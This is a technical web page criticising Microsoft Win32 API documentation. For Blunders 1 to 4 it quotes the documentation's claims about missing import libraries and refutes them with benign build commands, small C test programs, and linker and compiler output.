Valid HTML 4.01 Transitional Valid CSS Valid SVG 1.0

Me, myself & IT

Blunder – Microsoft®’s Excellence in Disinformation and Incompetence

Purpose
Reason
Reference
Trivia
Blunder № 1
Falsification
Blunder № 2
Falsification
Blunder № 3
Falsification
Blunder № 4
Falsification
Blunder № 5
Falsification
Blunder № 6
Demonstration
Blunder № 7
Falsification
Blunder № 8
Falsification
Blunder № 9
Falsification
Blunder № 10
Falsification
Counter Examples
Blunder № 11
Falsification
Blunder № 12
Falsification
Blunder № 13
Background Information
Falsification
Exploitation
Security Impact
Blunder № 14
Exploitation
Security Impact
Mitigation
Blunder № 15
Falsification
Blunder № 16
Falsification
Blunder № 17
Falsification
Blunder № 18
Falsification
Blunder № 19
Falsification
Blunder № 20
Falsification
Blunder № 21
Falsification
Similar Behaviour
Blunder № 22
Falsification
Blunder № 23
Falsification
Blunder № 24
Falsification
Blunder № 25
Falsification
Blunder № 26
Falsification
Security Impact
MSRC Case 65060
Blunder № 27
Falsification
Blunder № 28
Falsification
Blunder № 29
Falsification
Blunder № 30
Falsification
Blunder № 31
Demonstration
Blunder № 32
Falsification
Blunder № 33
Falsification
Blunder № 34
Falsification
Blunder № 35
Falsification
Blunder № 36
Falsification
Blunder № 37
Falsification
Blunder № 38
Falsification
Blunder № 39
Demonstration
Alternate Demonstration
Blunder № 40
Falsification
Blunder № 41
Falsification
Blunder № 42
Demonstration
Blunder № 43
Falsification
Blunder № 44
Falsification
Blunder № 45
Demonstration
Blunder № 46
Falsification
Blunder № 47
Falsification
Blunder № 48
Falsification
Blunder № 49
Background Information
Demonstration
Blunder № 50
Blunder № 51
Falsification
Blunder № 52
Falsification
Demonstration
Blunder № 53
Falsification
Blunder № 54
Demonstration
Security Impact
Exploitation
Mitigation
MSRC Case 64465
Blunder № 55
Demonstration
Blunder № 56
Blunder № 57
Blunder № 58
Falsification
Blunder № 59
Blunder № 60
Fix
Blunder № 61
Blunder № 62
Demonstration
Blunder № 63
Blunder № 64
Falsification
Blunder № 65
Blunder № 66
Falsification
Blunder № 67
Falsification
Blunder № 68
Demonstration
Blunder № 69
Demonstration
Blunder № 70
Demonstration
Blunder № 71
Blunder № 72
Fix
Blunder № 73
Demonstration
Blunder № 74
Falsification
Blunder № 75
Falsification
Blunder № 76
Demonstration
Blunder № 77
Demonstration
Blunder № 78
Demonstration
Blunder № 79
Demonstration
Blunder № 80
Falsification
Blunder № 81
Demonstration
Security Impact
MSRC Case 65060
Blunder № 82
Demonstration
Blunder № 83
Demonstration
Blunder № 84
Demonstration
Blunder № 85
Demonstration
Blunder № 86
Demonstration
Blunder № 87
Demonstration
Blunder № 88
Demonstration
Blunder № 89
Demonstration
Blunder № 90
Demonstration
Blunder № 91
Falsification
Blunder № 92
Falsification
Blunder № 93
Falsification
Security Impact
Mitigation
Alternate Mitigation

Purpose

Present multiple cases of Microsoft’s Art of Computer Programming Excellence in Disinformation and Incompetence.

Note: some cases of disinformation presented below were published 25 (in words: twenty-five) years ago and never corrected!

Reason

In computer science and software engineering, information hiding and the need-to-know principle are well-known concepts which are but not applicable to documentation, as exercised by Microsoft since more than 40 years.

45 years ago I participated in the research project Entwicklung von Entwurfstechnologien für Familien von Programmsystemen (Development of Design Technologies for Families of Program Systems) initiated and led by David Parnas (who coined the term information hiding) to design and implement the prototype of a modularized operating system built from formally specified encapsulated independent components where both concepts played the crucial role.

Reference

David Lorge Parnas, On the Design and Development of Program Families, IEEE Transactions on Software Engineering, Volume SE-2(1):1-9, March 1976, ISSN 0098-5589, 1939-3520.

Trivia

Was für Plunder! (What rubbish!)
Gebhard Leberecht von Blücher (1742-1819), Fürst von Wahlstatt, Prussian field marshal.

Blunder № 1

The documentation for each of the Win32 functions NetAddServiceAccount(), NetEnumerateServiceAccounts(), NetIsServiceAccount(), NetQueryServiceAccount() and NetRemoveServiceAccount() states since 2009:
This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Logoncli.dll.

[…]

Requirement Value
Header lmaccess.h
DLL Netapi32.dll
Ouch: while the Requirements sections name Netapi32.dll, all texts but specify Logoncli.dll!

Falsification

Perform the following 12 simple steps to prove the documentation cited above misleading and wrong.
  1. Determine which of the 2 DLLs Logoncli.dll and Netapi32.dll provides these 5 Win32 functions:

    FOR %? IN (Logoncli.dll) DO SET LOGONCLI=%~$PATH:?
    LINK.EXE /DUMP /EXPORTS /OUT:logoncli.txt "%LOGONCLI%"
    FOR %? IN (Netapi32.dll) DO SET NETAPI32=%~$PATH:?
    LINK.EXE /DUMP /EXPORTS /OUT:netapi32.txt "%NETAPI32%"
    FIND.EXE "ServiceAccount" logoncli.txt netapi32.txt
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    SET LOGONCLI=C:\Windows\System32\logoncli.dll
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    SET NETAPI32=C:\Windows\System32\netapi32.dll
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    ---------- LOGONCLI.TXT
             61   3C 0000F520 NetAddServiceAccount
             62   3D 0000F5AC NetEnumerateServiceAccounts
             66   41 0000F64C NetIsServiceAccount
             69   44 0000F6AC NetQueryServiceAccount
             70   45 0000F568 NetRemoveServiceAccount
    
    ---------- NETAPI32.TXT
             98   61          NetAddServiceAccount (forwarded to LOGONCLI.NetAddServiceAccount)
            142   8D          NetEnumerateServiceAccounts (forwarded to LOGONCLI.NetEnumerateServiceAccounts)
            164   A3          NetIsServiceAccount (forwarded to LOGONCLI.NetIsServiceAccount)
            186   B9          NetQueryServiceAccount (forwarded to LOGONCLI.NetQueryServiceAccount)
            191   BE          NetRemoveServiceAccount (forwarded to LOGONCLI.NetRemoveServiceAccount)
    Oops: the text is correct, Logoncli.dll exports these 5 Win32 functions – Netapi32.dll exports them too, but as forwarders to the functions implemented in Logoncli.dll, i.e. either DLL can be linked!
  2. Determine whether the highlighted statements This function has no associated import library. are true – or false:

    FOR %? IN (Logoncli.lib) DO SET LOGONCLI=%~$LIB:?
    FOR %? IN (Netapi32.lib) DO SET NETAPI32=%~$LIB:?
    LINK.EXE /DUMP /EXPORTS /OUT:netapi32.txt "%NETAPI32%"
    FIND.EXE "ServiceAccount" netapi32.txt
    Note: the environment variable LIB is set by the Windows Software Development Kit for Windows 7 – see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
    SET LOGONCLI=
    SET NETAPI32=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\NetAPI32.Lib
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    ---------- NETAPI32.TXT
                      _NetAddServiceAccount@16
                      _NetEnumerateServiceAccounts@16
                      _NetIsServiceAccount@12
                      _NetQueryServiceAccount@16
                      _NetRemoveServiceAccount@12
    OUCH¹: contrary to the highlighted statements of their documentations cited above, not just the Windows Software Development Kit for Windows 7 but ships with an associated import library NetAPI32.lib for these 5 Win32 functions!

    OUCH²: the import library NetAPI32.lib but links to Netapi32.dll instead of Logoncli.dll – this results in a superflous indirection and loads both DLLs instead of just the right one!

  3. Create the text file lmaccess.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2009-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <lmaccess.h>
    
    #define STATUS_SUCCESS	0L
    
    __declspec(noreturn)
    VOID	CDECL	mainCRTStartup(VOID)
    {
    #ifndef BLUNDER
    	DWORD	dwBlunder;
    	LPWSTR	*lpBlunder;
    	LONG	ntStatus = NetEnumerateServiceAccounts((LPWSTR) NULL,
    		                                       0UL,
    		                                       &dwBlunder,
    		                                       &lpBlunder);
    #elif BLUNDER == 1
    	BOOL	blunder;
    	LPBYTE	lpBlunder;
    	LONG	ntStatus = -NetIsServiceAccount((LPWSTR) NULL,
    		                                (LPWSTR) NULL,
    		                                &blunder);
    	if (ntStatus == -STATUS_SUCCESS)
    		ntStatus = NetQueryServiceAccount((LPWSTR) NULL,
    		                                  (LPWSTR) NULL,
    		                                  0UL,
    		                                  &lpBlunder);
    #else
    	LONG	ntStatus = NetAddServiceAccount((LPWSTR) NULL,
    		                                L"",
    		                                (LPWSTR) NULL,
    		                                SERVICE_ACCOUNT_FLAG_LINK_TO_HOST_ONLY);
    	if (ntStatus == STATUS_SUCCESS)
    		ntStatus = -NetRemoveServiceAccount((LPWSTR) NULL,
    		                                    L"",
    		                                    SERVICE_ACCOUNT_FLAG_UNLINK_FROM_HOST_ONLY);
    #endif
    	ExitProcess(ntStatus);
    }
  4. Compile and link the source file lmaccess.c created in step 3. to test whether the associated import library Netapi32.lib can be linked statically – or not:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE lmaccess.c kernel32.lib netapi32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    lmaccess.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:lmaccess.exe
    lmaccess.obj
    kernel32.lib
    netapi32.lib
    lmaccess.obj : error LNK2019: unresolved external symbol _NetEnumerateServiceAccounts referenced in function _mainCRTStartup
    lmaccess.exe : fatal error LNK1120: 1 unresolved externals
    OUCH³: the undecorated symbol name _NetEnumerateServiceAccounts in the error message indicates 2 omissions bugs in the declaration of the function prototype for NetEnumerateServiceAccounts() in the header file lmaccess.h – the mandatory calling convention __stdcall and the (optional) storage class attribute __declspec(dllimport) are missing!

    Note: most obviously nobody at Microsoft tests or uses their own products crap with the default settings of their own development tools – and their quality miserability assurance is sound asleep!

    Note: without the optional __declspec(dllimport) the Visual C compiler generates a CALL ‹function name› that the linker needs to resolve with a stub function, an indirect JMP through the Import Address Table – with __declspec(dllimport) it just generates an indirect CALL through the Import Address Table.

    Note: properly declared, the symbol name would be __imp__NetEnumerateServiceAccounts@16 – see the MSDN article Decorated Names for details.

  5. Repeat the previous step 4., now with the /Gz compiler option:

    CL.EXE /Gz lmaccess.c kernel32.lib netapi32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    lmaccess.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:lmaccess.exe
    lmaccess.obj
    kernel32.lib
    netapi32.lib
  6. Execute the console application lmaccess.exe built in step 5. and evaluate its exit code:

    .\lmaccess.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0xc0020012 (NT: 0xc0020012 RPC_NT_UNKNOWN_IF) -- 3221356562 (-1073610734)
    Error message text: The interface is unknown.
    CertUtil: -error command completed successfully.
    OUCH⁴: WTF?
  7. Repeat step 4., but with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER lmaccess.c kernel32.lib netapi32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    lmaccess.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:lmaccess.exe
    lmaccess.obj
    kernel32.lib
    netapi32.lib
    lmaccess.obj : error LNK2019: unresolved external symbol _NetIsServiceAccount referenced in function _mainCRTStartup
    lmaccess.obj : error LNK2019: unresolved external symbol _NetQueryServiceAccount referenced in function _mainCRTStartup
    lmaccess.exe : fatal error LNK1120: 2 unresolved externals
    OUCH⁵: the declarations of the function prototypes for NetIsServiceAccount() and NetQueryServiceAccount() are as faulty as that for NetEnumerateServiceAccounts()!
  8. Repeat the previous step 7., now with the /Gz compiler option too:

    CL.EXE /DBLUNDER /Gz lmaccess.c kernel32.lib netapi32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    lmaccess.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:lmaccess.exe
    lmaccess.obj
    kernel32.lib
    netapi32.lib
  9. Execute the console application lmaccess.exe built in step 8. and evaluate its exit code:

    .\lmaccess.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0xc0030009 (NT: 0xc0030009 RPC_NT_NULL_REF_POINTER) -- 3221422089 (-1073545207)
    Error message text: A null reference pointer was passed to the stub.
    CertUtil: -error command completed successfully.
    OUCH⁶: while the NetIsServiceAccount() function accepts a NULL pointer for the AccountName parameter, the NetQueryServiceAccount() function rejects it with NTSTATUS 0xC0030009 alias RPC_NT_NULL_REF_POINTER!
  10. Repeat step 7., now with the preprocessor macro BLUNDER defined as 0:

    CL.EXE /DBLUNDER=0 lmaccess.c kernel32.lib netapi32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    lmaccess.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:lmaccess.exe
    lmaccess.obj
    kernel32.lib
    netapi32.lib
    lmaccess.obj : error LNK2019: unresolved external symbol _NetAddServiceAccount referenced in function _mainCRTStartup
    lmaccess.obj : error LNK2019: unresolved external symbol _NetRemoveServiceAccount referenced in function _mainCRTStartup
    lmaccess.exe : fatal error LNK1120: 2 unresolved externals
    OUCH⁷: the declarations of the function prototypes for NetAddServiceAccount() and NetRemoveServiceAccount() are as faulty as those for NetEnumerateServiceAccounts(), NetIsServiceAccount() and NetQueryServiceAccount()!
  11. Repeat the previous step 10., now with the /Gz compiler option too:

    CL.EXE /DBLUNDER=0 /Gz lmaccess.c kernel32.lib netapi32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    lmaccess.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:lmaccess.exe
    lmaccess.obj
    kernel32.lib
    netapi32.lib
  12. Finally execute the console application lmaccess.exe built in step 11. and evaluate its exit code:

    .\lmaccess.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0xc0020012 (NT: 0xc0020012 RPC_NT_UNKNOWN_IF) -- 3221356562 (-1073610734)
    Error message text: The interface is unknown.
    CertUtil: -error command completed successfully.
    OUCH⁸: WTF?
Note: a repetition of this falsification in the 64-bit development and execution environments is left as an exercise to the reader.

Blunder № 2

The documentation for the Win32 function RtlDecryptMemory() states since 2001:
Note This function has no associated import library. This function is available as a resource named SystemFunction041 in Advapi32.dll. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Advapi32.dll.
[…]
NTSTATUS RtlDecryptMemory(
  [in, out] PVOID Memory,
  [in]      ULONG MemorySize,
  [in]      ULONG OptionFlags
);

[…]

Requirement Value
Header ntsecapi.h
DLL Advapi32.dll
Ouch¹: a function is not a (named) resource – see the MSDN article Menus and Other Resources for their definition!

The documentation for the Win32 function RtlEncryptMemory() states since 2001:

Note This function has no associated import library. This function is available as a resource named SystemFunction040 in Advapi32.dll. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Advapi32.dll.
[…]
NTSTATUS RtlEncryptMemory(
  [in, out] PVOID Memory,
  [in]      ULONG MemorySize,
  [in]      ULONG OptionFlags
);

[…]

Requirement Value
Header ntsecapi.h
DLL Advapi32.dll
Ouch²: a function is not a (named) resource – see the MSDN article Menus and Other Resources for their definition!

The documentation for the Win32 function RtlGenRandom() states since 2001:

Note This function has no associated import library. This function is available as a resource named SystemFunction036 in Advapi32.dll. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Advapi32.dll.
[…]
BOOLEAN RtlGenRandom(
  [out] PVOID RandomBuffer,
  [in]  ULONG RandomBufferLength
);

[…]

Requirement Value
Header ntsecapi.h
DLL Advapi32.dll
Ouch³: a function is not a (named) resource – see the MSDN article Menus and Other Resources for their definition!

Falsification

Perform the following 5 simple steps to prove the documentation cited above misleading and wrong.
  1. Determine whether the highlighted statements This function has no associated import library. are true – or false:

    FOR %? IN (Advapi32.lib) DO SET ADVAPI32=%~$LIB:?
    LINK.EXE /DUMP /EXPORTS /OUT:advapi32.txt "%ADVAPI32%"
    FIND.EXE "SystemFunction0" advapi32.txt
    Note: the environment variable LIB is set by the Windows Software Development Kit for Windows 7 – see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    SET ADVAPI32=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\Advapi32.Lib
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    ---------- ADVAPI32.TXT
                      _SystemFunction001@12
                      _SystemFunction002@12
                      _SystemFunction003@8
                      _SystemFunction004@12
                      _SystemFunction005@12
                      _SystemFunction006@8
                      _SystemFunction007@8
                      _SystemFunction008@12
                      _SystemFunction009@12
                      _SystemFunction010@12
                      _SystemFunction011@12
                      _SystemFunction012@12
                      _SystemFunction013@12
                      _SystemFunction014@12
                      _SystemFunction015@12
                      _SystemFunction016@12
                      _SystemFunction017@12
                      _SystemFunction018@12
                      _SystemFunction019@12
                      _SystemFunction020@12
                      _SystemFunction021@12
                      _SystemFunction022@12
                      _SystemFunction023@12
                      _SystemFunction024@12
                      _SystemFunction025@12
                      _SystemFunction026@12
                      _SystemFunction027@12
                      _SystemFunction028@8
                      _SystemFunction029@8
                      _SystemFunction030@8
                      _SystemFunction031@8
                      _SystemFunction032@8
                      _SystemFunction033@8
                      _SystemFunction034@12
                      _SystemFunction036@8
                      _SystemFunction040@12
                      _SystemFunction041@12
    OUCH¹: contrary to the highlighted statements of their documentations cited above, not just the Windows Software Development Kit for Windows 7 but ships with an associated import library Advapi32.lib for these 3 Win32 functions!
  2. Create the text file ntsecapi.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <ntsecapi.h>
    
    #define STATUS_SUCCESS		0L
    #define STATUS_UNSUCCESSFUL	0xC0000001L
    
    __declspec(noreturn)
    VOID	CDECL	mainCRTStartup(VOID)
    {
    	BYTE	cbMemory[RTL_ENCRYPT_MEMORY_SIZE];
    	LONG	ntStatus;
    
    	if (RtlGenRandom(cbMemory, sizeof(cbMemory)))
    	{
    		ntStatus = RtlEncryptMemory(cbMemory, sizeof(cbMemory), 0UL);
    
    		if (ntStatus == STATUS_SUCCESS)
    			ntStatus = RtlDecryptMemory(cbMemory, sizeof(cbMemory), 0UL);
    	}
    	else
    		ntStatus = STATUS_UNSUCCESSFUL;
    
    	ExitProcess(ntStatus);
    }
  3. Compile and link the source file ntsecapi.c created in step 2. to test whether the associated import library Advapi32.lib can be linked statically – or not:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE ntsecapi.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    ntsecapi.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:ntsecapi.exe
    ntsecapi.obj
    advapi32.lib
    kernel32.lib
    ntsecapi.obj : error LNK2019: unresolved external symbol _SystemFunction041 referenced in function _mainCRTStartup
    ntsecapi.obj : error LNK2019: unresolved external symbol _SystemFunction040 referenced in function _mainCRTStartup
    ntsecapi.obj : error LNK2019: unresolved external symbol _SystemFunction036 referenced in function _mainCRTStartup
    ntsecapi.exe : fatal error LNK1120: 3 unresolved externals
    OUCH²: the undecorated symbol names _SystemFunction036, _SystemFunction040 and _SystemFunction041 in the error messages indicate 2 omissions bugs in the declarations of the function prototypes for RtlDecryptMemory(), RtlEncryptMemory() and RtlGenRandom() in the header file ntsecapi.h – the mandatory calling convention __stdcall and the (optional) storage class attribute __declspec(dllimport) are missing!

    Note: properly declared, the symbol names were but __imp__SystemFunction036@8, __imp__SystemFunction040@12 and __imp__SystemFunction041@12 – see the MSDN article Decorated Names for details.

  4. Repeat the previous step 3., now with the /Gz compiler option:

    CL.EXE /Gz ntsecapi.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    ntsecapi.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:ntsecapi.exe
    ntsecapi.obj
    advapi32.lib
    kernel32.lib
  5. Finally execute the console application ntsecapi.exe built in step 4. and evaluate its exit code:

    .\ntsecapi.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
Note: a repetition of this falsification in the 64-bit development and execution environments is left as an exercise to the reader.

Blunder № 3

The documentation for both of the Win32 functions InstallPerfDllA() and InstallPerfDllW() states since 1999:
This function has no associated import library; you must call it using the LoadLibrary and GetProcAddress functions.

[…]

Requirement Value
Header Loadperf.h
DLL Loadperf.dll

Falsification

Perform the following 3 simple steps to prove the documentation cited above misleading and wrong.
  1. Determine whether the highlighted statement This function has no associated import library. is true – or false:

    FOR %? IN (Loadperf.lib) DO SET LOADPERF=%~$LIB:?
    LINK.EXE /DUMP /EXPORTS /OUT:loadperf.txt "%LOADPERF%"
    FIND.EXE "InstallPerfDll" loadperf.txt
    Note: the environment variable LIB is set by the Windows Software Development Kit for Windows 7 – see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    SET LOADPERF=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\LoadPerf.Lib
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    ---------- LOADPERF.TXT
                      _InstallPerfDllA@12
                      _InstallPerfDllW@12
  2. Create the text file loadperf.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <loadperf.h>
    
    FARPROC	loadperf[] = {InstallPerfDllA,
    	              InstallPerfDllW};
  3. Compile and link the source file loadperf.c created in step 2. to show that the associated import library Loadperf.lib can be linked statically:

    SET CL=/W4 /Zl
    SET LINK=/DLL /NODEFAULTLIB /NOENTRY
    CL.EXE loadperf.c loadperf.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    loadperf.c
    loadperf.c(9) : warning C4232: nonstandard extension used : 'loadperf' : address of dllimport 'InstallPerfDllA' is not static, identity not guaranteed
    	C:\Program Files\Microsoft SDKs\Windows\v7.1\Include\loadperf.h(49) : see declaration of 'InstallPerfDllA'
    loadperf.c(9) : warning C4057: 'initializing' : 'FARPROC' differs in indirection to slightly different base types from 'DWORD (__stdcall *)(LPCSTR,LPCSTR,ULONG_PTR)'
    loadperf.c(10) : warning C4232: nonstandard extension used : 'loadperf' : address of dllimport 'InstallPerfDllW' is not static, identity not guaranteed
    	C:\Program Files\Microsoft SDKs\Windows\v7.1\Include\loadperf.h(42) : see declaration of 'InstallPerfDllW'
    loadperf.c(10) : warning C4057: 'initializing' : 'FARPROC' differs in indirection to slightly different base types from 'DWORD (__stdcall *)(LPCWSTR,LPCWSTR,ULONG_PTR)'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DLL /NODEFAULTLIB /NOENTRY
    /out:loadperf.exe
    loadperf.obj
    loadperf.lib
    OOPS: contrary to the highlighted statements of their documentations cited above, all functions can be linked statically with their import library Loadperf.lib!
Note: a repetition of this falsification in the 64-bit development environment is left as an exercise to the reader.

Blunder № 4

The documentation for each of the Win32 functions CryptCATAdminAcquireContext(), CryptCATAdminAcquireContext2(), CryptCATAdminAddCatalog(), CryptCATAdminCalcHashFromFileHandle(), CryptCATAdminCalcHashFromFileHandle2(), CryptCATAdminReleaseCatalogContext(), CryptCATAdminReleaseContext(), CryptCATAdminRemoveCatalog(), CryptCATCatalogInfoFromContext(), CryptCATClose(), CryptCATEnumerateAttr(), CryptCATEnumerateCatAttr() and CryptCATGetMemberInfo() states since 2001:
This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.

[…]

Requirement Value
Header mscat.h
Library Wintrust.lib
DLL Wintrust.dll
OUCH¹: the highlighted reference to the import library Wintrust.lib in the Requirements section but contradicts the highlighted statement This function has no associated import library. given in the text!

The documentation for both of the Win32 functions CryptCATAdminResolveCatalogPath() and IsCatalogFile() states since 2001:

Note This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.

[…]

Requirement Value
Header mscat.h
DLL Wintrust.dll
The documentation for the Win32 function CryptCATOpen() states since 2001:
Note Some older versions of Wintrust.lib do not contain the export information for this function. In this case, you must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.

[…]

Requirement Value
Header mscat.h
Library Wintrust.lib
DLL Wintrust.dll
The documentation for both of the Win32 functions CryptCATCDFEnumAttributesWithCDFTag() and CryptCATCDFEnumMembersByCDFTagEx() states since 2001:
Note This function has no associated header file or import library. To call this function, you must create a user-defined header file and use the LoadLibrary and GetProcAddress functions to dynamically link to Mssign32.dll.

[…]

Requirement Value
DLL Wintrust.dll
OUCH²: the highlighted reference to Wintrust.dll in the Requirements section but contradicts the highlighted statement dynamically link to Mssign32.dll. given in the text!

Falsification

Perform the following 3 simple steps to prove the documentation cited above misleading and wrong.
  1. Determine whether the highlighted statement This function has no associated import library. is true – or false:

    FOR %? IN (Wintrust.lib) DO SET WINTRUST=%~$LIB:?
    LINK.EXE /DUMP /EXPORTS /OUT:wintrust.txt "%WINTRUST%"
    FIND.EXE "CryptCAT" wintrust.txt
    Note: the environment variable LIB is set by the Windows Software Development Kit for Windows 7 – see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    SET WINTRUST=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\Wintrust.Lib
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    ---------- WINTRUST.TXT
                      ?CryptCATVerifyMember@@YGHPAXPAUCRYPTCATMEMBER_@@0@Z (int __stdcall CryptCATVerifyMember(void *,struct CRYPTCATMEMBER_ *,void *))
                      _CryptCATAdminAcquireContext@12
                      _CryptCATAdminAddCatalog@16
                      _CryptCATAdminCalcHashFromFileHandle@16
                      _CryptCATAdminEnumCatalogFromHash@20
                      _CryptCATAdminPauseServiceForBackup@8
                      _CryptCATAdminReleaseCatalogContext@12
                      _CryptCATAdminReleaseContext@8
                      _CryptCATAdminRemoveCatalog@12
                      _CryptCATAdminResolveCatalogPath@16
                      _CryptCATAllocSortedMemberInfo@8
                      _CryptCATCDFClose@4
                      _CryptCATCDFEnumAttributes@16
                      _CryptCATCDFEnumAttributesWithCDFTag@20
                      _CryptCATCDFEnumCatAttributes@12
                      _CryptCATCDFEnumMembers@12
                      _CryptCATCDFEnumMembersByCDFTag@16
                      _CryptCATCDFEnumMembersByCDFTagEx@24
                      _CryptCATCDFOpen@8
                      _CryptCATCatalogInfoFromContext@12
                      _CryptCATClose@4
                      _CryptCATEnumerateAttr@12
                      _CryptCATEnumerateCatAttr@8
                      _CryptCATEnumerateMember@8
                      _CryptCATFreeSortedMemberInfo@8
                      _CryptCATGetAttrInfo@12
                      _CryptCATGetCatAttrInfo@8
                      _CryptCATGetMemberInfo@8
                      _CryptCATHandleFromStore@4
                      _CryptCATOpen@20
                      _CryptCATPersistStore@4
                      _CryptCATPutAttrInfo@24
                      _CryptCATPutCatAttrInfo@20
                      _CryptCATPutMemberInfo@28
                      _CryptCATStoreFromHandle@4
    OUCH³: contrary to the highlighted statements of their documentations cited above, not just the Windows Software Development Kit for Windows 7 but ships with an associated import library Wintrust.lib for these 16 Win32 functions!
